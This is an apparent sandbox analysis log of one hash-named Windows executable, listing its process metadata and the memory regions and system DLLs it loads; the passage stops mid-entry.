# Flog Txt Version 1 # Analyzer Version: 2023.2.0 # Analyzer Build Date: Apr 13 2023 06:20:59 # Log Creation Date: 30.04.2023 00:31:28.749 Process: id = "1" image_name = "3729c1d683690f752732ec18372a555abfb0d20c02ea3f9fe60ca6577722c9a8.exe" filename = "c:\\users\\rdhj0cnfevzx\\desktop\\3729c1d683690f752732ec18372a555abfb0d20c02ea3f9fe60ca6577722c9a8.exe" page_root = "0x4e0cc000" os_pid = "0x117c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x424" cmd_line = "\"C:\\Users\\RDhJ0CNFevzX\\Desktop\\3729c1d683690f752732ec18372a555abfb0d20c02ea3f9fe60ca6577722c9a8.exe\" " cur_dir = "C:\\Users\\RDhJ0CNFevzX\\Desktop\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1a9" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 118 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 119 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 120 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 121 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 122 start_va = 0x190000 end_va = 0x193fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 123 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 124 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 125 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 126 start_va = 0xe20000 end_va = 0xe46fff monitored = 1 entry_point = 0xe217b1 region_type = mapped_file name = "3729c1d683690f752732ec18372a555abfb0d20c02ea3f9fe60ca6577722c9a8.exe" filename = "\\Users\\RDhJ0CNFevzX\\Desktop\\3729c1d683690f752732ec18372a555abfb0d20c02ea3f9fe60ca6577722c9a8.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\3729c1d683690f752732ec18372a555abfb0d20c02ea3f9fe60ca6577722c9a8.exe") Region: id = 127 start_va = 0xf50000 end_va = 0xf51fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f50000" filename = "" Region: id = 128 start_va = 0x77040000 end_va = 0x771bafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 129 start_va = 0x7f760000 end_va = 0x7f782fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f760000" filename = "" Region: id = 130 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 131 start_va = 0x7fff0000 end_va = 0x7ff95ae6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 132 start_va = 0x7ff95ae70000 end_va = 0x7ff95b030fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 133 start_va = 0x7ff95b031000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff95b031000" filename = "" Region: id = 272 start_va = 0x400000 end_va = 0x59ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 273 start_va = 0x586b0000 end_va = 0x586fffff monitored = 0 entry_point = 0x586c8180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 274 start_va = 0x58630000 end_va = 0x586a9fff monitored = 0 entry_point = 0x58643290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 275 start_va = 0x76d90000 end_va = 0x76e6ffff monitored = 0 entry_point = 0x76da3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 276 start_va = 0x58700000 end_va = 0x58707fff monitored = 0 entry_point = 0x587017c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 277 start_va = 0xf60000 end_va = 0x108ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f60000" filename = "" Region: id = 278 start_va = 0x76d90000 end_va = 0x76e6ffff monitored = 0 entry_point = 0x76da3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 279 start_va = 0x74590000 end_va = 0x7470dfff monitored = 0 entry_point = 0x74641b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 280 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 281 start_va = 0x7f660000 end_va = 0x7f75ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f660000" filename = "" Region: id = 282 start_va = 0x400000 end_va = 0x4bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 283 start_va = 0x590000 end_va = 0x59ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000590000" filename = "" Region: id = 284 start_va = 0x73cc0000 end_va = 0x73d51fff monitored = 0 entry_point = 0x73d00380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 285 start_va = 0x7f2b0000 end_va = 0x7f650fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sysmain.sdb" filename = "\\Windows\\AppPatch\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\sysmain.sdb") Region: id = 286 start_va = 0xf50000 end_va = 0xf53fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f50000" filename = "" Region: id = 287 start_va = 0x76950000 end_va = 0x76a96fff monitored = 0 entry_point = 0x76961cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 288 start_va = 0x75dc0000 end_va = 0x75f0efff monitored = 0 entry_point = 0x75e76820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 289 start_va = 0x1c0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 290 start_va = 0x5a0000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005a0000" filename = "" Region: id = 291 start_va = 0x76630000 end_va = 0x766aafff monitored = 0 entry_point = 0x7664e970 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 292 start_va = 0x6faf0000 end_va = 0x6fb56fff monitored = 0 entry_point = 0x6fb05a00 region_type = mapped_file name = "winspool.drv" filename = "\\Windows\\SysWOW64\\winspool.drv" (normalized: "c:\\windows\\syswow64\\winspool.drv") Region: id = 293 start_va = 0x76820000 end_va = 0x768ddfff monitored = 0 entry_point = 0x76855630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 294 start_va = 0x75f10000 end_va = 0x75f53fff monitored = 0 entry_point = 0x75f29d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 295 start_va = 0x75ba0000 end_va = 0x75c4cfff monitored = 0 entry_point = 0x75bb4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 296 start_va = 0x71110000 end_va = 0x7112afff monitored = 0 entry_point = 0x71119050 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll") Region: id = 297 start_va = 0x73d70000 end_va = 0x73d8dfff monitored = 0 entry_point = 0x73d7b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 298 start_va = 0x73d60000 end_va = 0x73d69fff monitored = 0 entry_point = 0x73d62a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 299 start_va = 0x73e10000 end_va = 0x73e67fff monitored = 0 entry_point = 0x73e525c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 300 start_va = 0x6a0000 end_va = 0x827fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006a0000" filename = "" Region: id = 301 start_va = 0xf60000 end_va = 0xf89fff monitored = 0 entry_point = 0xf65680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 302 start_va = 0xf90000 end_va = 0x108ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f90000" filename = "" Region: id = 303 start_va = 0x75b70000 end_va = 0x75b9afff monitored = 0 entry_point = 0x75b75680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 304 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 305 start_va = 0x4c0000 end_va = 0x4c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 306 start_va = 0x830000 end_va = 0x9b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000830000" filename = "" Region: id = 307 start_va = 0x1090000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001090000" filename = "" Region: id = 308 start_va = 0x2490000 end_va = 0x25bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002490000" filename = "" Region: id = 309 start_va = 0xf60000 end_va = 0xf6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f60000" filename = "" Region: id = 310 start_va = 0xf70000 end_va = 0xf78fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f70000" filename = "" Region: id = 311 start_va = 0x25c0000 end_va = 0x28f6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 312 start_va = 0xf80000 end_va = 0xf8afff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f80000" filename = "" Region: id = 313 start_va = 0x74770000 end_va = 0x75b6efff monitored = 0 entry_point = 0x7492b990 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 314 start_va = 0x75d80000 end_va = 0x75db6fff monitored = 0 entry_point = 0x75d83b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 315 start_va = 0x74090000 end_va = 0x74588fff monitored = 0 entry_point = 0x74297610 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\SysWOW64\\windows.storage.dll" (normalized: "c:\\windows\\syswow64\\windows.storage.dll") Region: id = 316 start_va = 0x73ed0000 end_va = 0x7408cfff monitored = 0 entry_point = 0x73fb2a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 317 start_va = 0x766b0000 end_va = 0x766f4fff monitored = 0 entry_point = 0x766cde90 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 318 start_va = 0x764a0000 end_va = 0x764abfff monitored = 0 entry_point = 0x764a3930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 319 start_va = 0x76790000 end_va = 0x7681cfff monitored = 0 entry_point = 0x767d9b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 320 start_va = 0x76ff0000 end_va = 0x77033fff monitored = 0 entry_point = 0x76ff7410 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\SysWOW64\\powrprof.dll" (normalized: "c:\\windows\\syswow64\\powrprof.dll") Region: id = 321 start_va = 0x768e0000 end_va = 0x768eefff monitored = 0 entry_point = 0x768e2e40 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 322 start_va = 0x2490000 end_va = 0x2490fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002490000" filename = "" Region: id = 323 start_va = 0x25b0000 end_va = 0x25bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000025b0000" filename = "" Region: id = 324 start_va = 0x6fac0000 end_va = 0x6fae7fff monitored = 0 entry_point = 0x6fac7820 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\SysWOW64\\ntmarta.dll" (normalized: "c:\\windows\\syswow64\\ntmarta.dll") Region: id = 325 start_va = 0x6fa40000 end_va = 0x6fab0fff monitored = 0 entry_point = 0x6fa969e0 region_type = mapped_file name = "efswrt.dll" filename = "\\Windows\\SysWOW64\\efswrt.dll" (normalized: "c:\\windows\\syswow64\\efswrt.dll") Region: id = 326 start_va = 0x76cf0000 end_va = 0x76d81fff monitored = 0 entry_point = 0x76d28cf0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 327 start_va = 0x6e780000 end_va = 0x6e847fff monitored = 0 entry_point = 0x6e7eae90 region_type = mapped_file name = "wintypes.dll" filename = "\\Windows\\SysWOW64\\WinTypes.dll" (normalized: "c:\\windows\\syswow64\\wintypes.dll") Region: id = 328 start_va = 0x24a0000 end_va = 0x2589fff monitored = 0 entry_point = 0x24dd650 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 329 start_va = 0x6f9f0000 end_va = 0x6fa38fff monitored = 0 entry_point = 0x6f9f6450 region_type = mapped_file name = "edputil.dll" filename = "\\Windows\\SysWOW64\\edputil.dll" (normalized: "c:\\windows\\syswow64\\edputil.dll") Region: id = 330 start_va = 0x71140000 end_va = 0x7134cfff monitored = 0 entry_point = 0x7122acb0 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll") Region: id = 331 start_va = 0x73950000 end_va = 0x73c1afff monitored = 0 entry_point = 0x73b8c4c0 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll") Region: id = 332 start_va = 0x24a0000 end_va = 0x24a0fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "counters.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\counters.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcache\\counters.dat") Region: id = 333 start_va = 0x76aa0000 end_va = 0x76afefff monitored = 0 entry_point = 0x76aa4af0 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 334 start_va = 0x710f0000 end_va = 0x71101fff monitored = 0 entry_point = 0x710f4510 region_type = mapped_file name = "ondemandconnroutehelper.dll" filename = "\\Windows\\SysWOW64\\OnDemandConnRouteHelper.dll" (normalized: "c:\\windows\\syswow64\\ondemandconnroutehelper.dll") Region: id = 335 start_va = 0x710c0000 end_va = 0x710eefff monitored = 0 entry_point = 0x710cbb70 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll") Region: id = 336 start_va = 0x71020000 end_va = 0x710bafff monitored = 0 entry_point = 0x7105f7e0 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\SysWOW64\\winhttp.dll" (normalized: "c:\\windows\\syswow64\\winhttp.dll") Region: id = 337 start_va = 0x4d0000 end_va = 0x50ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 338 start_va = 0x9c0000 end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009c0000" filename = "" Region: id = 339 start_va = 0x764b0000 end_va = 0x764b6fff monitored = 0 entry_point = 0x764b1e10 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 340 start_va = 0x70600000 end_va = 0x70683fff monitored = 0 entry_point = 0x70626530 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\SysWOW64\\dnsapi.dll" (normalized: "c:\\windows\\syswow64\\dnsapi.dll") Region: id = 341 start_va = 0x70fd0000 end_va = 0x7101efff monitored = 0 entry_point = 0x70fdd850 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\SysWOW64\\mswsock.dll" (normalized: "c:\\windows\\syswow64\\mswsock.dll") Region: id = 342 start_va = 0x70fc0000 end_va = 0x70fc7fff monitored = 0 entry_point = 0x70fc1fc0 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll") Region: id = 343 start_va = 0x510000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000510000" filename = "" Region: id = 344 start_va = 0x550000 end_va = 0x58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 345 start_va = 0xac0000 end_va = 0xbbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ac0000" filename = "" Region: id = 346 start_va = 0xbc0000 end_va = 0xcbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bc0000" filename = "" Region: id = 347 start_va = 0x71350000 end_va = 0x714cdfff monitored = 0 entry_point = 0x713cc630 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll") Region: id = 348 start_va = 0x24b0000 end_va = 0x24b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000024b0000" filename = "" Region: id = 349 start_va = 0x24c0000 end_va = 0x24c2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mswsock.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\mswsock.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\mswsock.dll.mui") Region: id = 350 start_va = 0x24d0000 end_va = 0x24d7fff monitored = 0 entry_point = 0x24d19c0 region_type = mapped_file name = "wshqos.dll" filename = "\\Windows\\SysWOW64\\wshqos.dll" (normalized: "c:\\windows\\syswow64\\wshqos.dll") Region: id = 351 start_va = 0x24e0000 end_va = 0x24e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wshqos.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\wshqos.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\wshqos.dll.mui") Region: id = 352 start_va = 0x24d0000 end_va = 0x24d7fff monitored = 0 entry_point = 0x24d19c0 region_type = mapped_file name = "wshqos.dll" filename = "\\Windows\\SysWOW64\\wshqos.dll" (normalized: "c:\\windows\\syswow64\\wshqos.dll") Region: id = 353 start_va = 0x24e0000 end_va = 0x24e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wshqos.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\wshqos.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\wshqos.dll.mui") Region: id = 354 start_va = 0x24d0000 end_va = 0x24d7fff monitored = 0 entry_point = 0x24d19c0 region_type = mapped_file name = "wshqos.dll" filename = "\\Windows\\SysWOW64\\wshqos.dll" (normalized: "c:\\windows\\syswow64\\wshqos.dll") Region: id = 355 start_va = 0x24e0000 end_va = 0x24e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wshqos.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\wshqos.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\wshqos.dll.mui") Region: id = 356 start_va = 0x24d0000 end_va = 0x24d7fff monitored = 0 entry_point = 0x24d19c0 region_type = mapped_file name = "wshqos.dll" filename = "\\Windows\\SysWOW64\\wshqos.dll" (normalized: "c:\\windows\\syswow64\\wshqos.dll") Region: id = 357 start_va = 0x24e0000 end_va = 0x24e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wshqos.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\wshqos.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\wshqos.dll.mui") Region: id = 358 start_va = 0x24d0000 end_va = 0x24dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000024d0000" filename = "" Region: id = 359 start_va = 0x70dd0000 end_va = 0x70de2fff monitored = 0 entry_point = 0x70dd9950 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 360 start_va = 0x72a60000 end_va = 0x72a8efff monitored = 0 entry_point = 0x72a795e0 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 361 start_va = 0x2900000 end_va = 0x29d9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002900000" filename = "" Region: id = 362 start_va = 0x29e0000 end_va = 0x2ac7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000029e0000" filename = "" Region: id = 363 start_va = 0x2900000 end_va = 0x2c96fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002900000" filename = "" Region: id = 364 start_va = 0x2ca0000 end_va = 0x303afff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002ca0000" filename = "" Region: id = 365 start_va = 0x2900000 end_va = 0x29e3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002900000" filename = "" Region: id = 366 start_va = 0x29f0000 end_va = 0x2ad6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000029f0000" filename = "" Region: id = 367 start_va = 0x2900000 end_va = 0x2c95fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002900000" filename = "" Region: id = 368 start_va = 0x2ca0000 end_va = 0x3038fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002ca0000" filename = "" Region: id = 369 start_va = 0x24e0000 end_va = 0x2577fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024e0000" filename = "" Region: id = 370 start_va = 0x2900000 end_va = 0x299ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002900000" filename = "" Region: id = 371 start_va = 0x24e0000 end_va = 0x2582fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024e0000" filename = "" Region: id = 372 start_va = 0x2900000 end_va = 0x29a3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002900000" filename = "" Region: id = 373 start_va = 0xcc0000 end_va = 0xcfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000cc0000" filename = "" Region: id = 374 start_va = 0xd00000 end_va = 0xdfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d00000" filename = "" Region: id = 375 start_va = 0x1c0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 376 start_va = 0x5a0000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005a0000" filename = "" Region: id = 377 start_va = 0x76c00000 end_va = 0x76ceafff monitored = 0 entry_point = 0x76c3d650 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 378 start_va = 0xe50000 end_va = 0xe8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e50000" filename = "" Region: id = 379 start_va = 0x2900000 end_va = 0x29fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002900000" filename = "" Region: id = 380 start_va = 0x73c40000 end_va = 0x73cb4fff monitored = 0 entry_point = 0x73c79a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 381 start_va = 0x2a00000 end_va = 0x2b6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a00000" filename = "" Region: id = 382 start_va = 0x6e630000 end_va = 0x6e77afff monitored = 0 entry_point = 0x6e691660 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\SysWOW64\\propsys.dll" (normalized: "c:\\windows\\syswow64\\propsys.dll") Region: id = 383 start_va = 0x24e0000 end_va = 0x24e3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024e0000" filename = "" Region: id = 384 start_va = 0xe90000 end_va = 0xecffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e90000" filename = "" Region: id = 385 start_va = 0x24f0000 end_va = 0x24f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000024f0000" filename = "" Region: id = 386 start_va = 0x2a00000 end_va = 0x2afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a00000" filename = "" Region: id = 387 start_va = 0x2b60000 end_va = 0x2b6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002b60000" filename = "" Region: id = 388 start_va = 0x76700000 end_va = 0x76783fff monitored = 0 entry_point = 0x76726220 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 389 start_va = 0x6fc60000 end_va = 0x6fe7bfff monitored = 0 entry_point = 0x6fe2bc40 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\SysWOW64\\actxprxy.dll" (normalized: "c:\\windows\\syswow64\\actxprxy.dll") Region: id = 390 start_va = 0x2500000 end_va = 0x2500fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002500000" filename = "" Region: id = 391 start_va = 0x2510000 end_va = 0x2513fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 392 start_va = 0x2520000 end_va = 0x2564fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000c.db" filename = 